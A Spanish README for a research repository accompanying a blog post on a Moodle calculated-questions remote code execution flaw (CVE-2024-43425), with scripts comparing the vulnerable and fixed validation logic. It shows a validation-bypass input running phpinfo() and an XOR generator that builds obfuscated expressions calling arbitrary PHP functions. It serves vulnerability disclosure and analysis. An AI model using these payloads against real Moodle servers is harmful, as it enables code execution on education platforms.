
Scripts para el análisis de un RCE en Preguntas Calculadas de Moodle (CVE-2024-43425)
Este repositorio contiene los scripts complementarios de la entrada de blog De vuelta a clases - Explotando una vulnerabilidad de ejecución remota de código en Moodle, que describe una vulnerabilidad de ejecución remota de código en la plataforma de aprendizaje Moodle.
Los scripts del directorio validation se pueden utilizar para probar directamente cadenas de entrada contra la lógica de validación que emplea Moodle para prevenir el abuso de una llamada a eval() de PHP.
Todos los fragmentos de código se adaptaron directamente del código fuente de Moodle, utilizando la versión 4.4.1 para la versión vulnerable y la 4.4.2 para la versión corregida.
Los scripts incluyen las partes relevantes del archivo question/type/calculated/questiontype.php.
El archivo validation.php utiliza la lógica de validación vulnerable:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
Este repositorio también incluye la versión corregida del código de validación en validation-fixed.php:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
El script xor-generator.py se puede utilizar para generar expresiones basadas en funciones variables, que permiten llamar a funciones PHP arbitrarias con un único parámetro numérico en versiones vulnerables de Moodle:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test